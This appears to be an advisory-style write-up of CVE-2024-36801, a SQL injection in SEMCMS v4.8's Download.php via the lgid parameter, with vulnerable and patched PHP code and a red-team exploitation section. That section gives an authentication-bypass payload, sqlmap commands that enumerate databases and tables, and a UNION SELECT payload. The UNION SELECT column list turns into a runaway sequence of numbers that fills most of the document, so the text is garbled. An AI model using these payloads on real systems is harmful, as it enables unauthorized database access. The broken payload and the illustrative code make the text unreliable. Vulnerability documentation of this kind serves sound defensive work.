CVE-2024-36801

Executive Summary

CVE-2024-36801 is a SQL injection vulnerability identified in SEMCMS v4.8, specifically within the Download.php file. The vulnerability allows a remote attacker to inject arbitrary SQL commands via the lgid parameter, potentially leading to unauthorized access to sensitive information stored in the database. The vulnerability is publicly known, but no official patch or exploit code has been released at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched instances.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the nature of the vulnerability (SQL injection via a GET parameter with no authentication required), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is easy to exploit remotely without authentication, and successful exploitation can lead to full database compromise.

Deep Dive & Mechanics

The vulnerability resides in the Download.php file of SEMCMS v4.8. The lgid parameter is used in a SQL query without proper sanitization or parameterization. An attacker can manipulate this parameter to inject arbitrary SQL commands, such as:

' OR '1'='1' -- 

This can bypass authentication or extract data from the database. The lack of input validation and prepared statements makes the application susceptible to classic SQL injection attacks.

Vulnerable vs. Patched Code

Vulnerable Code (SEMCMS v4.8 - Download.php):

<?php
$lgid = $_GET['lgid'];
$sql = "SELECT * FROM downloads WHERE id = $lgid";
$result = mysqli_query($conn, $sql);
?>

Patched Code (Hypothetical):

<?php
$lgid = intval($_GET['lgid']);
$sql = "SELECT * FROM downloads WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $lgid);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

The patched version uses intval() to ensure the input is an integer and employs prepared statements to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install SEMCMS v4.8 on a local web server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via a web browser.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/Download.php?lgid=1
2. Test for SQL injection by appending a single quote: http://target/Download.php?lgid=1'
3. If an error is returned, the application is vulnerable.
4. Use a tool like sqlmap to automate exploitation:

   sqlmap -u "http://target/Download.php?lgid=1" --batch --dbs
   

5. Extract sensitive data:

   sqlmap -u "http://target/Download.php?lgid=1" --batch -D semcms_db --tables
   

Manual Payload Example:

http://target/Download.php?lgid=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,441,442,443,444,445,446,447,448,449,450,451,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,470,471,472,473,474,475,476,477,478,479,480,481,482,483,484,485,486,487,488,489,490,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,517,518,519,520,521,522,523,524,525,526,527,528,529,530,531,532,533,534,535,536,537,538,539,540,541,542,543,544,545,546,547,548,549,550,551,552,553,554,555,556,557,558,559,560,561,562,563,564,565,566,567,568,569,570,571,572,573,574,575,576,577,578,579,580,581,582,583,584,585,586,587,588,589,590,591,592,593,594,595,596,597,598,599,600,601,602,603,604,605,606,607,608,609,610,611,612,613,614,615,616,617,618,619,620,621,622,623,624,625,626,627,628,629,630,631,632,633,634,635,636,637,638,639,640,641,642,643,644,645,646,647,648,649,650,651,652,653,654,655,656,657,658,659,660,661,662,663,664,665,666,667,668,669,670,671,672,673,674,675,676,677,678,679,680,681,682,683,684,685,686,687,688,689,690,691,692,693,694,695,696,697,698,699,700,701,702,703,704,705,706,707,708,709,710,711,712,713,714,715,716,717,718,719,720,721,722,723,724,725,726,727,728,729,730,731,732,733,734,735,736,737,738,739,740,741,742,743,744,745,746,747,748,749,750,751,752,753,754,755,756,757,758,759,760,761,762,763,764,765,766,767,768,769,770,771,772,773,774,775,776,777,778,779,780,781,782,783,784,785,786,787,788,789,790,791,792,793,794,795,796,797,798,799,800,801,802,803,804,805,806,807,808,809,810,811,812,813,814,815,816,817,818,819,820,821,822,823,824,825,826,827,828,829,830,831,832,833,834,835,836,837,838,839,840,841,842,843,844,845,846,847,848,849,850,851,852,853,854,855,856,857,858,859,860,861,862,863,864,865,866,867,868,869,870,871,872,873,874,875,876,877,878,879,880,881,882,883,884,885,886,887,888,889,890,891,892,893,894,895,896,897,898,899,900,901,902,903,904,905,906,907,908,909,910,911,912,913,914,915,916,917,918,919,920,921,922,923,924,925,926,927,928,929,930,931,932,933,934,935,936,937,938,939,940,941,942,943,944,945,946,947,948,949,950,951,952,953,954,955,956,957,958,959,960,961,962,963,964,965,966,967,968,969,970,971,972,973,974,975,976,977,978,979,980,981,982,983,984,985,986,987,988,989,990,991,992,993,994,995,996,997,998,999,1000,1010,1020,1030,1040,1050,1060,1070,1080,1090,1100,1110,1120,1130,1140,1150,1160,1170,1180,1190,1200,1210,1220,1230,1240,1250,1260,1270,1280,1290,1300,1310,1320,1330,1340,1350,1360,1370,1380,1390,1400,1410,1420,1430,1440,1450,1460,1470,1480,1490,1500,1510,1520,1530,1540,1550,1560,1570,1580,1590,1600,1610,1620,1630,1640,1650,1660,1670,1680,1690,1700,1710,1720,1730,1740,1750,1760,1770,1780,1790,1800,1810,1820,1830,1840,1850,1860,1870,1880,1890,1900,1910,1920,1930,1940,1950,1960,1970,1980,1990,2000,2010,2020,2030,2040,2050,2060,2070,2080,2090,2100,2110,2120,2130,2140,2150,2160,2170,2180,2190,2200,2210,2220,2230,2240,2250,2260,2270,2280,2290,2300,2310,2320,2330,2340,2350,2360,2370,2380,2390,2400,2410,2420,2430,2440,2450,2460,2470,2480,2490,2500,2510,2520,2530,2540,2550,2560,2570,2580,2590,2600,2610,2620,2630,2640,2650,2660,2670,2680,2690,2700,2710,2720,2730,2740,2750,2760,2770,2780,2790,2800,2810,2820,2830,2840,2850,2860,2870,2880,2890,2900,2910,2920,2930,2940,2950,2960,2970,2980,2990,3000,3010,3020,3030,3040,3050,3060,3070,3080,3090,3100,3110,3120,3130,3140,3150,3160,3170,3180,3190,3200,3210,3220,3230,3240,3250,3260,3270,3280,3290,3300,3310,3320,3330,3340,3350,3360,3370,3380,3390,3400,3410,3420,3430,3440,3450,3460,3470,3480,3490,3500,3510,3520,3530,3540,3550,3560,3570,3580,3590,3600,3610,3620,3630,3640,3650,3660,3670,3680,3690,3700,3710,3720,3730,3740,3750,3760,3770,3780,3790,3800,3810,3820,3830,3840,3850,3860,3870,3880,3890,3900,3910,3920,3930,3940,3950,3960,3970,3980,3990,4000,4010,4020,4030,4040,4050,4060,4070,4080,4090,4100,4110,4120,4130,4140,4150,4160,4170,4180,4190,4200,4210,4220,4230,4240,4250,4260,4270,4280,4290,4300,4310,4320,4330,4340,4350,4360,4370,4380,4390,4400,4410,4420,4430,4440,4450,4460,4470,4480,4490,4500,4510,4520,4530,4540,4550,4560,4570,4580,4590,4600,4610,4620,4630,4640,4650,4660,4670,4680,4690,4700,4710,4720,4730,4740,4750,4760,4770,4780,4790,4800,4810,4820,4830,4840,4850,4860,4870,4880,4890,4900,4910,4920,4930,4940,4950,4960,4970,4980,4990,5000,5010,5020,5030,5040,5050,5060,5070,5080,5090,5100,5110,5120,5130,5140,5150,5160,5170,5180,5190,5200,5210,5220,5230,5240,5250,5260,5270,5280,5290,5300,5310,5320,5330,5340,5350,5360,5370,5380,5390,5400,5410,5420,5430,5440,5450,5460,5470,5480,5490,5500,5510,5520,5530,5540,5550,5560,5570,5580,5590,5600,5610,5620,5630,5640,5650,5660,5670,5680,5690,5700,5710,5720,5730,5740,5750,5760,5770,5780,5790,5800,5810,5820,5830,5840,5850,5860,5870,5880,5890,5900,5910,5920,5930,5940,5950,5960,5970,5980,5990,6000,6010,6020,6030,6040,6050,6060,6070,6080,6090,6100,6110,6120,6130,6140,6150,6160,6170,6180,6190,6200,6210,6220,6230,6240,6250,6260,6270,6280,6290,6300,6310,6320,6330,6340,6350,6360,6370,6380,6390,6400,6410,6420,6430,6440,6450,6460,6470,6480,6490,6500,6510,6520,6530,6540,6550,6560,6570,6580,6590,6600,6610,6620,6630,6640,6650,6660,6670,6680,6690,6700,6710,6720,6730,6740,6750,6760,6770,6780,6790,6800,6810,6820,6830,6840,6850,6860,6870,6880,6890,6900,6910,6920,6930,6940,6950,6960,6970,6980,6990,7000,7010,7020,7030,7040,7050,7060,7070,7080,7090,7100,7110,7120,7130,7140,7150,7160,7170,7180,7190,7200,7210,7220,7230,7240,7250,7260,7270,7280,7290,7300,7310,7320,7330,7340,7350,7360,7370,7380,7390,7400,7410,7420,7430,7440,7450,7460,7470,7480,7490,7500,7510,7520,7530,7540,7550,7560,7570,7580,7590,7600,7610,7620,7630,7640,7650,7660,7670,7680,7690,7700,7710,7720,7730,7740,7750,7760,7770,7780,7790,7800,7810,7820,7830,7840,7850,7860,7870,7880,7890,7900,7910,7920,7930,7940,7950,7960,7970,7980,7990,8000,8010,8020,8030,8040,8050,8060,8070,8080,8090,8100,8110,8120,8130,8140,8150,8160,8170,8180,8190,8200,8210,8220,8230,8240,8250,8260,8270,8280,8290,8300,8310,8320,8330,8340,8350,8360,8370,8380,8390,8400,8410,8420,8430,8440,8450,8460,8470,8480,8490,8500,8510,8520,8530,8540,8550,8560,8570,8580,8590,8600,8610,8620,8630,8640,8650,8660,8670,8680,8690,8700,8710,8720,8730,8740,8750,8760,8770,8780,8790,8800,8810,8820,8830,8840,8850,8860,8870,8880,8890,8900,8910,8920,8930,8940,8950,8960,8970,8980,8990,9000,9010,9020,9030,9040,9050,9060,9070,9080,9090,9100,9110,9120,9130,9140,9150,9160,9170,9180,9190,9200,9210,9220,9230,9240,9250,9260,9270,9280,9290,9300,9310,9320,9330,9340,9350,9360,9370,9380,9390,9400,9410,9420,9430,9440,9450,9460,9470,9480,9490,9500,9510,9520,9530,9540,9550,9560,9570,9580,9590,9600,9610,9620,9630,9640,9650,9660,9670,9680,9690,9700,9710,9720,9730,9740,9750,9760,9770,9780,9790,9800,9810,9820,9830,9840,9850,9860,9870,9880,9890,9900,9910,9920,9930,9940,9950,9960,9970,9980,9990,10000,10100,10200,10300,10400,10500,10600,10700,10800,10900,11000,11100,11200,11300,11400,11500,11600,11700,11800,11900,12000,12100,12200,12300,12400,12500,12600,12700,12800,12900,13000,13100,13200,13300,13400,13500,13600,13700,13800,13900,14000,14100,14200,14300,14400,14500,14600,14700,14800,14900,15000,15100,15200,15300,15400,15500,15600,15700,15800,15900,16000,16100,16200,16300,16400,16500,16600,16700,16800,16900,17000,17100,17200,17300,17400,17500,17600,17700,17800,17900,18000,18100,18200,18300,18400,18500,18600,18700,18800,18900,19000,19100,19200,19300,19400,19500,19600,19700,19800,19900,20000,20100,20200,20300,20400,20500,20600,20700,20800,20900,21000,21100,21200,21300,21400,21500,21600,21700,21800,21900,22000,22100,22200,22300,22400,22500,22600,22700,22800,22900,23000,23100,23200,23300,23400,23500,23600,23700,23800,23900,24000,24100,24200,24300,24400,24500,24600,24700,24800,24900,25000,25100,25200,25300,25400,25500,25600,25700,25800,25900,26000,26100,26200,26300,26400,26500,26600,26700,26800,26900,27000,27100,27200,27300,27400,27500,27600,27700,27800,27900,28000,28100,28200,28300,28400,28500,28600,28700,28800,28900,29000,29100,29200,29300,29400,29500,29600,29700,29800,29900,30000,30100,30200,30300,30400,30500,30600,30700,30800,30900,31000,31100,31200,31300,31400,31500,31600,31700,31800,31900,32000,32100,32200,32300,32400,32500,32600,32700,32800,32900,33000,33100,33200,33300,33400,33500,33600,33700,33800,33900,34000,34100,34200,34300,34400,34500,34600,34700,34800,34900,35000,35100,35200,35300,35400,35500,35600,35700,35800,35900,36000,36100,36200,36300,36400,36500,36600,36700,36800,36900,37000,37100,37200,37300,37400,37500,37600,37700,37800,37900,38000,38100,38200,38300,38400,38500,38600,38700,38800,38900,39000,39100,39200,39300,39400,39500,39600,39700,39800,39900,40000,40100,40200,40300,40400,40500,40600,40700,40800,40900,41000,41100,41200,41300,41400,41500,41600,41700,41800,41900,42000,42100,42200,42300,42400,42500,42600,42700,42800,42900,43000,43100,43200,43300,43400,43500,43600,43700,43800,43900,44000,44100,44200,44300,44400,44500,44600,44700,44800,44900,45000,45100,45200,45300,45400,45500,45600,45700,45800,45900,46000,46100,46200,46300,46400,46500,46600,46700,46800,46900,47000,47100,47200,47300,47400,47500,47600,47700,47800,47900,48000,48100,48200,48300,48400,48500,48600,48700,48800,48900,49000,49100,49200,49300,49400,49500,49600,49700,49800,49900,50000,50100,50200,50300,50400,50500,50600,50700,50800,50900,51000,51100,51200,51300,51400,51500,51600,51700,51800,51900,52000,52100,52200,52300,52400,52500,52600,52700,52800,52900,53000,53100,53200,53300,53400,53500,53600,53700,53800,53900,54000,54100,54200,54300,54400,54500,54600,54700,54800,54900,55000,55100,55200,55300,55400,55500,55600,55700,55800,55900,56000,56100,56200,56300,56400,56500,56600,56700,56800,56900,57000,57100,57200,57300,57400,57500,57600,57700,57800,57900,58000,58100,58200,58300,58400,58500,58600,58700,58800,58900,59000,59100,59200,59300,59400,59500,59600,59700,59800,59900,60000,60100,60200,60300,60400,60500,60600,60700,60800,60900,61000,61100,61200,61300,61400,61500,61600,61700,61800,61900,62000,62100,62200,62300,62400,62500,62600,62700,62800,62900,63000,63100,63200,63300,63400,63500,63600,63700,63800,63900,64000,64100,64200,64300,64400,64500,64600,64700,64800,64900,65000,65100,65200,65300,65400,65500,65600,65700,65800,65900,66000,66100,66200,66300,66400,66500,66600,66700,66800,66900,67000,67100,67200,67300,67400,67500,67600,67700,67800,67900,68000,68100,68200,68300,68400,68500,68600,68700,68800,68900,69000,69100,69200,69300,69400,69500,69600,69700,69800,69900,70000,70100,70200,70300,70400,70500,70600,70700,70800,70900,71000,71100,71200,71300,71400,71500,71600,71700,71800,71900,72000,72100,72200,72300,72400,72500,72600,72700,72800,72900,73000,73100,73200,73300,73400,73500,73600,73700,73800,73900,74000,74100,74200,74300,74400,74500,74600,74700,74800,74900,75000,75100,75200,75300,75400,75500,75600,75700,75800,75900,76000,76100,76200,76300,76400,76500,76600,76700,76800,76900,77000,77100,77200,77300,77400,77500,77600,77700,77800,77900,78000,78100,78200,78300,78400,78500,78600,78700,78800,78900,79000,79100,79200,79300,79400,79500,79600,79700,79800,79900,80000,80100,80200,80300,80400,80500,80600,80700,80800,80900,81000,81100,81200,81300,81400,81500,81600,81700,81800,81900,82000,82100,82200,82300,82400,82500,82600,82700,82800,82900,83000,83100,83200,83300,83400,83500,83600,83700,83800,83900,84000,84100,84200,84300,84400,84500,84600,84700,84800,84900,85000,85100,85200,85300,85400,85500,85600,85700,85800,85900,86000,86100,86200,86300,86400,86500,86600,86700,86800,86900,87000,87100,87200,87300,87400,87500,87600,87700,87800,87900,88000,88100,88200,88300,88400,88500,88600,88700,88800,88900,89000,89100,89200,89300,89400,89500,89600,89700,89800,89900,90000,90100,90200,90300,90400,90500,90600,90700,90800,90900,91000,91100,91200,91300,91400,91500,91600,91700,91800,91900,92000,92100,92200,92300,92400,92500,92600,92700,92800,92900,93000,93100,93200,93300,93400,93500,93600,93700,93800,93900,94000,94100,94200,94300,94400,94500,94600,94700,94800,94900,95000,95100,95200,95300,95400,95500,95600,95700,95800,95900,96000,96100,96200,96300,96400